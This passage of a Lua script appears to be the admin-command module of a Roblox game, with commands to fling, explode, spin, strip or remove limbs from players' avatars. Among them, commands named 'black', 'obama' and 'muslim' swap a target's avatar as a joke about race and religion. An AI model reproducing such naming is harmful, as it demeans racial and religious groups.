  4452. ListGui(Speaker, "Total Player Points", List)
  4453. end
  4454. end
  4455.  
  4456. if string.sub(Message,1,13+#Bet) == "getgamepoints"..Bet then
  4457. local AfterMessage = string.sub(Message, 14+#Bet)
  4458. if tonumber(AfterMessage) then
  4459. SendMessage(Speaker, "Game Player Points: "..AfterMessage, "The Player with the user ID "..AfterMessage.." has won "..Points:GetGamePointBalance(tonumber(AfterMessage)).." player points from this game", 7)
  4460. else
  4461. local List = {}
  4462. local Players = Scan(AfterMessage, Speaker)
  4463. for _,Player in pairs(Players) do
  4464. if Player ~= nil then
  4465. table.insert(List, Player.Name..": "..Points:GetGamePointBalance(Player.userId))
  4466. end
  4467. end
  4468. ListGui(Speaker, "Total game Player Points", List)
  4469. end
  4470. end
  4471.  
  4472. if Message == "exploitlog" or Message == "exploitlogs" or Message == "hacklog" or Message == "hacklogs" then
  4473. local ExploitLog = DataStore:GetAsync("ExploitLog")
  4474. if type(ExploitLog) ~= "table" then ExploitLog = {} end
  4475. ListGui(Speaker, "Exploit Logs", ExploitLog)
  4476. end
  4477.  
  4478. if Message == "waypoints" or Message == "viewwaypoints" or Message == "waypointlist" or Message == "wplist" then
  4479. local WaypointHolder = {}
  4480. for Name, WP in pairs(Waypoints) do
  4481. table.insert(WaypointHolder, Name..": "..tostring(WP))
  4482. end
  4483. ListGui(Speaker, "Waypoint List", WaypointHolder)
  4484. end
  4485.  
  4486. if string.sub(Message,1,4+#Bet) == "warp"..Bet then
  4487. local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  4488. local Players = Scan(Arg1, Speaker)
  4489. local PosNameChat = string.lower(Arg2)
  4490. for _,Player in pairs(Players) do
  4491. if Player ~= nil then
  4492. if Player.Character ~= nil then
  4493. for PosName,WP in pairs(Waypoints) do
  4494. if string.sub(string.lower(PosName),1,#PosNameChat) == PosNameChat then
  4495. Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
  4496. break
  4497. end
  4498. end
  4499. end
  4500. end
  4501. end
  4502. end
  4503.  
  4504. if Message == "quickcommand" or Message == "quickcommands" or Message == "qc" then
  4505. QuickCommand(Speaker)
  4506. end
  4507.  
  4508. if Message == "abuselist" or Message == "abusivelist" or Message == "blacklist" then
  4509. ListGui(Speaker, "Abusive Command Filter List", AbuseList)
  4510. end
  4511.  
  4512. if string.sub(Message,1,8+#Bet) == "hasasset"..Bet then
  4513. local Arg1, Arg2 = GetSplit(string.sub(Message, 9+#Bet), Bet) if not Arg1 and Arg2 then return end
  4514. local Players = Scan(Arg1, Speaker)
  4515. local ID = tonumber(Arg2) if Arg2 ~= nil then
  4516. local List = {}
  4517. for _,Player in pairs(Players) do
  4518. if Player ~= nil then
  4519. if MPS:PlayerOwnsAsset(Player, ID) then
  4520. table.insert(List, Player.Name)
  4521. end
  4522. end
  4523. end
  4524. ListGui(Speaker, "Players who have asset ID: "..ID, List)
  4525. end
  4526. end
  4527.  
  4528. if string.sub(Message,1,4+#Bet) == "chat"..Bet then
  4529. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  4530. local Players = Scan(Arg1, Speaker)
  4531. local String = Arg2
  4532. local Color = "Blue"
  4533. local Arg3, Arg4 = GetSplit(Arg2, Bet)
  4534. if Arg3 and Arg4 then
  4535. if string.lower(Arg3) == "blue" then Color = "Blue" String = Arg4
  4536. elseif string.lower(Arg3) == "green" then Color = "Green" String = Arg4
  4537. elseif string.lower(Arg3) == "red" then Color = "Red" String = Arg4
  4538. end
  4539. end
  4540. for _,Player in pairs(Players) do coroutine.wrap(function()
  4541. if Player ~= nil then
  4542. if Player.Character then
  4543. if Player.Character.Head then
  4544. game:GetService("Chat"):Chat(Player.Character.Head, String, Color)
  4545. end
  4546. end
  4547. end
  4548. end)() end
  4549. end
  4550.  
  4551. -- FUN COMMANDS --
  4552.  
  4553. if FUN == true or Rank == "Admin" or Rank == "Owner" then
  4554. if string.sub(Message,1,4+#Bet) == "noob"..Bet then
  4555. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4556. for _,Player in pairs(Players) do
  4557. if Player ~= nil then
  4558. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  4559. local Position = Player.Character.Torso.Position
  4560. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=0"
  4561. wait() Player:LoadCharacter() wait()
  4562. Player.Character:MoveTo(Position)
  4563. end
  4564. end
  4565. end
  4566. end
  4567.  
  4568. if string.sub(Message,1,5+#Bet) == "black"..Bet or string.sub(Message,1,5+#Bet) == "obama"..Bet then
  4569. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  4570. for _,Player in pairs(Players) do
  4571. if Player ~= nil then
  4572. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  4573. local Position = Player.Character.Torso.Position
  4574. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=1337"
  4575. wait() Player:LoadCharacter() wait()
  4576. Player.Character:MoveTo(Position)
  4577. end
  4578. end
  4579. end
  4580. end
  4581.  
  4582. if string.sub(Message,1,5+#Bet) == "guest"..Bet then
  4583. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  4584. for _,Player in pairs(Players) do
  4585. if Player ~= nil then
  4586. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  4587. local Position = Player.Character.Torso.Position
  4588. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=1"
  4589. wait() Player:LoadCharacter() wait()
  4590. Player.Character:MoveTo(Position)
  4591. end
  4592. end
  4593. end
  4594. end
  4595.  
  4596. if string.sub(Message,1,4+#Bet) == "rich"..Bet then
  4597. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4598. for _,Player in pairs(Players) do
  4599. if Player ~= nil then
  4600. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  4601. local Position = Player.Character.Torso.Position
  4602. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=13416513"
  4603. wait() Player:LoadCharacter() wait()
  4604. Player.Character:MoveTo(Position)
  4605. end
  4606. end
  4607. end
  4608. end
  4609.  
  4610. if string.sub(Message,1,4+#Bet) == "oder"..Bet then
  4611. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4612. for _,Player in pairs(Players) do
  4613. if Player ~= nil then
  4614. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  4615. local Position = Player.Character.Torso.Position
  4616. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..OderIDs[math.random(1,#OderIDs)]
  4617. wait() Player:LoadCharacter() wait()
  4618. Player.Character:MoveTo(Position)
  4619. end
  4620. end
  4621. end
  4622. end
  4623.  
  4624. if string.sub(Message,1,6+#Bet) == "muslim"..Bet then
  4625. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4626. for _,Player in pairs(Players) do
  4627. if Player ~= nil then
  4628. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  4629. local Position = Player.Character.Torso.Position
  4630. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=6231537"
  4631. wait() Player:LoadCharacter() wait()
  4632. Player.Character:MoveTo(Position)
  4633. end
  4634. end
  4635. end
  4636. end
  4637.  
  4638. if string.sub(Message,1,4+#Bet) == "spin"..Bet then
  4639. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4640. for _,Player in pairs(Players) do
  4641. if Player ~= nil then
  4642. if Player.Character ~= nil then
  4643. if Player.Character:FindFirstChild("Torso") ~= nil then coroutine.wrap(function()
  4644. local Spin = Player.Character.Torso:FindFirstChild("LMM Spin")
  4645. if Spin then Spin:Destroy() end
  4646. Spin = Instance.new("BodyGyro", Player.Character.Torso) Spin.Name = "LMM Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.P = 11111 Spin.cframe = Player.Character.Torso.CFrame
  4647. repeat wait(1/44) Spin.cframe = Spin.cframe * CFrame.Angles(0,math.rad(30),0) until not Spin or Spin.Parent ~= Player.Character.Torso
  4648. end)() end
  4649. end
  4650. end
  4651. end
  4652. end
  4653.  
  4654. if string.sub(Message,1,6+#Bet) == "nospin"..Bet then
  4655. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4656. for _,Player in pairs(Players) do
  4657. if Player ~= nil then
  4658. if Player.Character ~= nil then
  4659. if Player.Character:FindFirstChild("Torso") ~= nil then
  4660. local Spin = Player.Character.Torso:FindFirstChild("LMM Spin")
  4661. if Spin then Spin:Destroy() end
  4662. end
  4663. end
  4664. end
  4665. end
  4666. end
  4667.  
  4668. if string.sub(Message,1,4+#Bet) == "flip"..Bet then
  4669. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4670. for _,Player in pairs(Players) do
  4671. if Player ~= nil then
  4672. if Player.Character ~= nil then
  4673. if Player.Character:FindFirstChild("Torso") ~= nil then
  4674. local Flip = Player.Character.Torso:FindFirstChild("LMM Flip")
  4675. if not Flip then coroutine.wrap(function()
  4676. local TorsoCFrame = Player.Character.Torso.CFrame
  4677. Flip = Instance.new("BodyGyro", Player.Character.Torso) Flip.Name = "LMM Flip" Flip.maxTorque = Vector3.new(math.huge, 0, 0) Flip.P = 11111 Flip.cframe = TorsoCFrame
  4678. local Stable = Instance.new("BodyPosition", Player.Character.Torso) Stable.Name = "LMM Stable" Stable.position = Player.Character.Torso.Position + Vector3.new(0,1,0) Stable.maxForce = Vector3.new(0, math.huge, 0)
  4679. wait(0.1)
  4680. for i = 0,360,10 do
  4681. Flip.cframe = TorsoCFrame * CFrame.Angles(math.rad(i),0,0)
  4682. wait()
  4683. end
  4684. wait(0.5)
  4685. Flip:Destroy()
  4686. Stable:Destroy()
  4687. end)() end
  4688. end
  4689. end
  4690. end
  4691. end
  4692. end
  4693.  
  4694. if string.sub(Message,1,8+#Bet) == "longneck"..Bet then
  4695. local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
  4696. for _,Player in pairs(Players) do
  4697. if Player ~= nil then
  4698. if Player.Character ~= nil then
  4699. if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
  4700. if Player.Character.Torso:FindFirstChild("Neck") then
  4701. Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  4702. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  4703. Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor))
  4704. local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
  4705. local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
  4706. end
  4707. end
  4708. end
  4709. end
  4710. end
  4711. end
  4712.  
  4713. if string.sub(Message,1,10+#Bet) == "normalneck"..Bet then
  4714. local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
  4715. for _,Player in pairs(Players) do
  4716. if Player ~= nil then
  4717. if Player.Character ~= nil then
  4718. Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  4719. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  4720. end
  4721. end
  4722. end
  4723. end
  4724.  
  4725. if string.sub(Message,1,9+#Bet) == "loopfling"..Bet then
  4726. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  4727. for _,Player in pairs(Players) do
  4728. if Player ~= nil then
  4729. if Player.Character ~= nil then
  4730. for Num,Name in pairs(Flings) do if string.lower(Player.Name) == string.lower(Name) then table.remove(Flings, Num) end end
  4731. local function FlingPlayer(User, Character)
  4732. wait(0.1)
  4733. if User then
  4734. local Stop = true
  4735. for _,Name in pairs(Flings) do if string.lower(User.Name) == string.lower(Name) then Stop = false end end if Stop == true then FlingPlayer = nil return end
  4736. if Character:FindFirstChild("Torso") then local Fling = Instance.new("BodyForce", Character.Torso) Fling.Name = "Fling" Fling.force = Vector3.new(100000000,1000000000,100000000) end
  4737. end
  4738. end
  4739. table.insert(Flings, Player.Name)
  4740. FlingPlayer(Player, Player.Character)
  4741. Player.CharacterAdded:connect(function(Char) FlingPlayer(Player, Char) end)
  4742. end
  4743. end
  4744. end
  4745. end
  4746.  
  4747. if string.sub(Message,1,11+#Bet) == "noloopfling"..Bet then
  4748. local Players = Scan(string.sub(Message, 12+#Bet), Speaker)
  4749. for _,Player in pairs(Players) do
  4750. if Player ~= nil then
  4751. for Num,Name in pairs(Flings) do if string.lower(Player.Name) == string.lower(Name) then table.remove(Flings, Num) end end
  4752. end
  4753. end
  4754. end
  4755.  
  4756. if string.sub(Message,1,5+#Bet) == "fling"..Bet then
  4757. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  4758. for _,Player in pairs(Players) do
  4759. if Player ~= nil then
  4760. if Player.Character ~= nil then
  4761. local function FlingPlayer(User, Character) if User then if Character:FindFirstChild("Torso") then local Fling = Instance.new("BodyForce", Character.Torso) Fling.Name = "Fling" Fling.force = Vector3.new(100000000,1000000000,100000000) end end end
  4762. FlingPlayer(Player, Player.Character)
  4763. end
  4764. end
  4765. end
  4766. end
  4767.  
  4768. if string.sub(Message,1,5+#Bet) == "ghost"..Bet then
  4769. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  4770. for _,Player in pairs(Players) do
  4771. if Player ~= nil then
  4772. if Player.Character ~= nil then
  4773. for _,Object in pairs(Player.Character:GetChildren()) do
  4774. if Object:IsA("BasePart") then if Object.Name ~= "HumanoidRootPart" then
  4775. Object.Transparency = 0.5
  4776. Object.Reflectance = 0
  4777. Object.BrickColor = BrickColor.new("Institutional white")
  4778. end end
  4779. for _,Obj in pairs(Object:GetChildren()) do
  4780. if Obj:IsA("BasePart") then
  4781. Obj.Transparency = 0.5
  4782. Obj.Reflectance = 0
  4783. elseif Obj:IsA("Decal") then
  4784. Obj.Transparency = 0.5
  4785. end
  4786. end
  4787. end
  4788. end
  4789. end
  4790. end
  4791. end
  4792.  
  4793. if string.sub(Message,1,4+#Bet) == "drug"..Bet then
  4794. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4795. for _,Player in pairs(Players) do
  4796. if Player ~= nil then
  4797. if Player.Character then
  4798. if Player.PlayerGui ~= nil then
  4799. local SG = Player.PlayerGui:FindFirstChild("LMM Drug") if SG then SG:Destroy() end
  4800. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMM Drug"
  4801. local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
  4802. local Stop = false
  4803. coroutine.wrap(function()
  4804. repeat
  4805. Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  4806. wait(0.1)
  4807. until not SG
  4808. end)()
  4809. wait() ExecuteResource("Drug", Player.Character, {}, Player,
  4810. [[repeat wait(0.1) Workspace.CurrentCamera.FieldOfView = math.random(20,80) until not game:GetService("Players").LocalPlayer.PlayerGui["LMM Drug"] ]]
  4811. )
  4812. end
  4813. end
  4814. end
  4815. end
  4816. end
  4817.  
  4818. if string.sub(Message,1,6+#Bet) == "nodrug"..Bet then
  4819. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4820. for _,Player in pairs(Players) do
  4821. if Player.PlayerGui ~= nil then
  4822. local SG = Player.PlayerGui:FindFirstChild("LMM Drug") if SG then SG:Destroy() end
  4823. wait() RestoreCamera(Player)
  4824. end
  4825. end
  4826. end
  4827.  
  4828. if string.sub(Message,1,4+#Bet) == "fart"..Bet then
  4829. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4830. for _,Player in pairs(Players) do
  4831. if Player.Character then
  4832. if Player.Character:FindFirstChild("Torso") ~= nil and Player.Character.Head:FindFirstChild("face") then
  4833. coroutine.wrap(function()
  4834. if Player.Character.Head.face.Texture ~= "http://www.roblox.com/asset/?id=24067663" then if Player.Character.Head.face.Texture ~= "http://www.roblox.com/asset/?id=28118994" then
  4835. local OldFace = Player.Character.Head.face.Texture
  4836. local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
  4837. local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
  4838. local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
  4839. Player.Character.Head.face.Texture = "http://www.roblox.com/asset/?id=28118994"
  4840. local Sound = Instance.new("Sound", Fart) Sound.Name = "Fart Sound" Sound.Volume = 1 Sound.SoundId = "http://www.roblox.com/asset/?id=130833677" Sound.Pitch = 0.8 Sound.Archivable = false repeat Sound:Play() wait(0.5) Sound:Stop() wait(0.5) Sound:Play() until Sound.IsPlaying or not Sound
  4841. wait(1)
  4842. Smoke.Enabled = false
  4843. wait(1)
  4844. Fart:Destroy()
  4845. Player.Character.Head.face.Texture = OldFace
  4846. end end
  4847. end)()
  4848. end
  4849. end
  4850. end
  4851. end
  4852.  
  4853. if string.sub(Message,1,5+#Bet) == "vomit"..Bet then
  4854. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  4855. for _,Player in pairs(Players) do
  4856. if Player.Character then
  4857. if Player.Character:FindFirstChild("Head") ~= nil then
  4858. if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
  4859. coroutine.wrap(function()
  4860. if Player.Character.Head.face.Texture ~= "http://www.roblox.com/asset/?id=24067663" then if Player.Character.Head.face.Texture ~= "http://www.roblox.com/asset/?id=28118994" then
  4861. local OldFace = Player.Character.Head.face.Texture
  4862. Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
  4863. Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
  4864. Player.Character.Head.face.Texture = "http://www.roblox.com/asset/?id=24067663"
  4865. local Sound = Instance.new("Sound", Player.Character.Head) Sound.Name = "Puke Sound" Sound.Volume = 1 Sound.SoundId = "http://www.roblox.com/asset/?id=142539016" Sound.Pitch = 0.8 Sound.Archivable = false repeat Sound:Play() wait(0.5) Sound:Stop() wait(0.5) Sound:Play() until Sound.IsPlaying or not Sound
  4866. coroutine.wrap(function() for i = 1,100 do wait()
  4867. local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
  4868. coroutine.wrap(function() wait(3) Part:Destroy() end)()
  4869. end Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
  4870. end end
  4871. end)()
  4872. end
  4873. end
  4874. end
  4875. end
  4876. end
  4877.  
  4878. if string.sub(Message,1,5+#Bet) == "smoke"..Bet then
  4879. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  4880. for _,Player in pairs(Players) do
  4881. if Player ~= nil then
  4882. if Player.Character then
  4883. if Player.Character:FindFirstChild("Torso") ~= nil then
  4884. local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
  4885. end
  4886. end
  4887. end
  4888. end
  4889. end
  4890.  
  4891. if string.sub(Message,1,7+#Bet) == "nosmoke"..Bet then
  4892. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  4893. for _,Player in pairs(Players) do
  4894. if Player ~= nil then
  4895. if Player.Character ~= nil then
  4896. if Player.Character:FindFirstChild("Torso") ~= nil then
  4897. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  4898. if Get:IsA("Smoke") then
  4899. Get:Destroy()
  4900. end
  4901. end
  4902. end
  4903. end
  4904. end
  4905. end
  4906. end
  4907.  
  4908. if string.sub(Message,1,8+#Bet) == "sparkles"..Bet then
  4909. local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
  4910. for _,Player in pairs(Players) do
  4911. if Player ~= nil then
  4912. if Player.Character then
  4913. if Player.Character:FindFirstChild("Torso") ~= nil then
  4914. local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
  4915. end
  4916. end
  4917. end
  4918. end
  4919. end
  4920.  
  4921. if string.sub(Message,1,10+#Bet) == "nosparkles"..Bet then
  4922. local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
  4923. for _,Player in pairs(Players) do
  4924. if Player ~= nil then
  4925. if Player.Character ~= nil then
  4926. if Player.Character:FindFirstChild("Torso") ~= nil then
  4927. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  4928. if Get:IsA("Sparkles") then
  4929. Get:Destroy()
  4930. end
  4931. end
  4932. end
  4933. end
  4934. end
  4935. end
  4936. end
  4937.  
  4938. if string.sub(Message,1,4+#Bet) == "fire"..Bet then
  4939. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4940. for _,Player in pairs(Players) do
  4941. if Player ~= nil then
  4942. if Player.Character then
  4943. if Player.Character:FindFirstChild("Torso") ~= nil then
  4944. local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
  4945. end
  4946. end
  4947. end
  4948. end
  4949. end
  4950.  
  4951. if string.sub(Message,1,6+#Bet) == "nofire"..Bet then
  4952. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4953. for _,Player in pairs(Players) do
  4954. if Player ~= nil then
  4955. if Player.Character ~= nil then
  4956. if Player.Character:FindFirstChild("Torso") ~= nil then
  4957. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  4958. if Get:IsA("Fire") then
  4959. Get:Destroy()
  4960. end
  4961. end
  4962. end
  4963. end
  4964. end
  4965. end
  4966. end
  4967.  
  4968. if Message == "flash" then
  4969. coroutine.wrap(function()
  4970. --Lighting.Archivable = false wait(0.5) Lighting.Archivable = true wait(0.5)
  4971. repeat
  4972. Lighting.Ambient = Color3.new(1,1,1)
  4973. Lighting.FogColor = Color3.new(1,1,1)
  4974. Lighting.Brightness = 1
  4975. Lighting.TimeOfDay = 14
  4976. wait(0.1)
  4977. Lighting.Ambient = Color3.new(0,0,0)
  4978. Lighting.FogColor = Color3.new(0,0,0)
  4979. Lighting.Brightness = 0
  4980. Lighting.TimeOfDay = 0
  4981. wait(0.1)
  4982. until Lighting.Archivable == false
  4983. end)()
  4984. end
  4985.  
  4986. if Message == "disco" or Message == "party" then
  4987. coroutine.wrap(function()
  4988. --Lighting.Archivable = false wait(0.5) Lighting.Archivable = true wait(0.5)
  4989. repeat
  4990. local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  4991. Lighting.Ambient = Color
  4992. Lighting.FogColor = Color
  4993. Lighting.TimeOfDay = 0
  4994. Lighting.FogEnd = 100
  4995. wait(0.1)
  4996. until Lighting.Archivable == false
  4997. end)()
  4998. end
  4999.  
  5000. if string.sub(Message,1,7+#Bet) == "nolimbs"..Bet then
  5001. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  5002. for _,Player in pairs(Players) do
  5003. if Player ~= nil then
  5004. if Player.Character then
  5005. for _,Obj in pairs(Player.Character:GetChildren()) do
  5006. local Valid = false
  5007. for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  5008. if Valid == true then Obj:Destroy() end
  5009. end
  5010. end
  5011. end
  5012. end
  5013. end
  5014.  
  5015. if string.sub(Message,1,6+#Bet) == "nolegs"..Bet then
  5016. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  5017. for _,Player in pairs(Players) do
  5018. if Player ~= nil then
  5019. if Player.Character then
  5020. for _,Obj in pairs(Player.Character:GetChildren()) do
  5021. local Valid = false
  5022. for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  5023. if Valid == true then Obj:Destroy() end
  5024. end
  5025. end
  5026. end
  5027. end
  5028. end
  5029.  
  5030. if string.sub(Message,1,6+#Bet) == "noarms"..Bet then
  5031. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  5032. for _,Player in pairs(Players) do
  5033. if Player ~= nil then
  5034. if Player.Character then
  5035. for _,Obj in pairs(Player.Character:GetChildren()) do
  5036. local Valid = false
  5037. for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
  5038. if Valid == true then Obj:Destroy() end
  5039. end
  5040. end
  5041. end
  5042. end
  5043. end
  5044.  
  5045. if string.sub(Message,1,5+#Bet) == "shine"..Bet then
  5046. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  5047. for _,Player in pairs(Players) do
  5048. if Player ~= nil then
  5049. if Player.Character then
  5050. for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("BasePart") then
  5051. Obj.Reflectance = 0.5
  5052. end end
  5053. end
  5054. end
  5055. end
  5056. end
  5057.  
  5058. if string.sub(Message,1,4+#Bet) == "gold"..Bet then
  5059. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  5060. for _,Player in pairs(Players) do
  5061. if Player ~= nil then
  5062. if Player.Character then
  5063. for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("BasePart") then
  5064. Obj.Reflectance = 0.5
  5065. Obj.BrickColor = BrickColor.new("New Yeller")
  5066. end end
  5067. end
  5068. end
  5069. end
  5070. end
  5071.  
  5072. if string.sub(Message,1,7+#Bet) == "explode"..Bet then
  5073. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  5074. for _,Player in pairs(Players) do
  5075. if Player ~= nil then
  5076. if Player.Character then
  5077. if Player.Character:FindFirstChild("Torso") then
  5078. local Boom = Instance.new("Explosion", Workspace)
  5079. Boom.Position = Player.Character.Torso.Position
  5080. end
  5081. end
  5082. end
  5083. end
  5084. end
  5085.  
  5086. if string.sub(Message,1,6+#Bet) == "splode"..Bet then
  5087. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  5088. for _,Player in pairs(Players) do
  5089. if Player ~= nil then
  5090. if Player.Character then
  5091. if Player.Character:FindFirstChild("Torso") then
  5092. for i = 1,50 do
  5093. local Boom = Instance.new("Explosion", Workspace)
  5094. Boom.Position = Player.Character.Torso.Position
  5095. wait()
  5096. end
  5097. end
  5098. end
  5099. end
  5100. end
  5101. end
  5102.  
  5103. if string.sub(Message,1,5+#Bet) == "naked"..Bet then
  5104. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  5105. for _,Player in pairs(Players) do
  5106. if Player ~= nil then
  5107. Player:ClearCharacterAppearance()
  5108. end
  5109. end
  5110. end
  5111.  
  5112. if string.sub(Message,1,3+#Bet) == "hax"..Bet then
  5113. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  5114. for _,Player in pairs(Players) do
  5115. if Player ~= nil then
  5116. FakeHack(Player)
  5117. end
  5118. end
  5119. end
  5120. --
  5121. end
  5122. --
  5123. --
  5124. end
  5125. Log(Speaker, RawMainMessage)
  5126. end
  5127.  
  5128. -- NonAdmin Commands --
  5129.  
  5130. if Message == "rejoin" or Message == "rej" or Message == "rjoin" or Message == "rj" then
  5131. local Suc, Err, PlaceID, IntID = TS:GetPlayerPlaceInstanceAsync(Speaker.userId)
  5132. if Suc then
  5133. TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
  5134. else
  5135. TS:Teleport(game.PlaceId, Speaker)
  5136. end
  5137. Log(Speaker, RawMainMessage)
  5138. end
  5139.  
  5140. if Message == "cmds" or Message == "commands" or Message == "commandlist" or Message == "cmdlist" then
  5141. ListGui(Speaker, "Command List", GetCommands(Rank))
  5142. Log(Speaker, RawMainMessage)
  5143. end
  5144.  
  5145. if Message == "fullcmds" or Message == "fullcommands" or Message == "fullcommandlist" or Message == "fullcmdlist" then
  5146. local Selected = SelectionGui(Speaker, "Full Command List", GetCommands(Rank), true)
  5147. if #Selected >= 0 then
  5148. for _,SelCmd in pairs(Selected) do
  5149. Chatted(SelCmd, Speaker)
  5150. end
  5151. Log(Speaker, RawMainMessage)
  5152. end
  5153. end
  5154.  
  5155. if Message == "membervip" or Message == "vipmember" then
  5156. if VIPMemberID ~= 1 then
  5157. PromptPurchase(Speaker, VIPMemberID)
  5158. Log(Speaker, RawMainMessage)
  5159. else
  5160. SendMessage(Speaker, "No VIP", GameOwner.." did not add a member rank VIP to LuaModelMake".."r's Admin", 5)
  5161. end
  5162. end
  5163.  
  5164. if Message == "adminvip" or Message == "vipadmin" then
  5165. if VIPAdminID ~= 1 then
  5166. PromptPurchase(Speaker, VIPAdminID)
  5167. Log(Speaker, RawMainMessage)
  5168. else
  5169. SendMessage(Speaker, "No VIP", GameOwner.." did not add a admin rank VIP to LuaMo".."d".."elMake".."r's Admin", 5)
  5170. end
  5171. end
  5172.  
  5173. if Message == "remove menu" or Message == "removemenu" then
  5174. if Speaker.PlayerGui ~= nil then
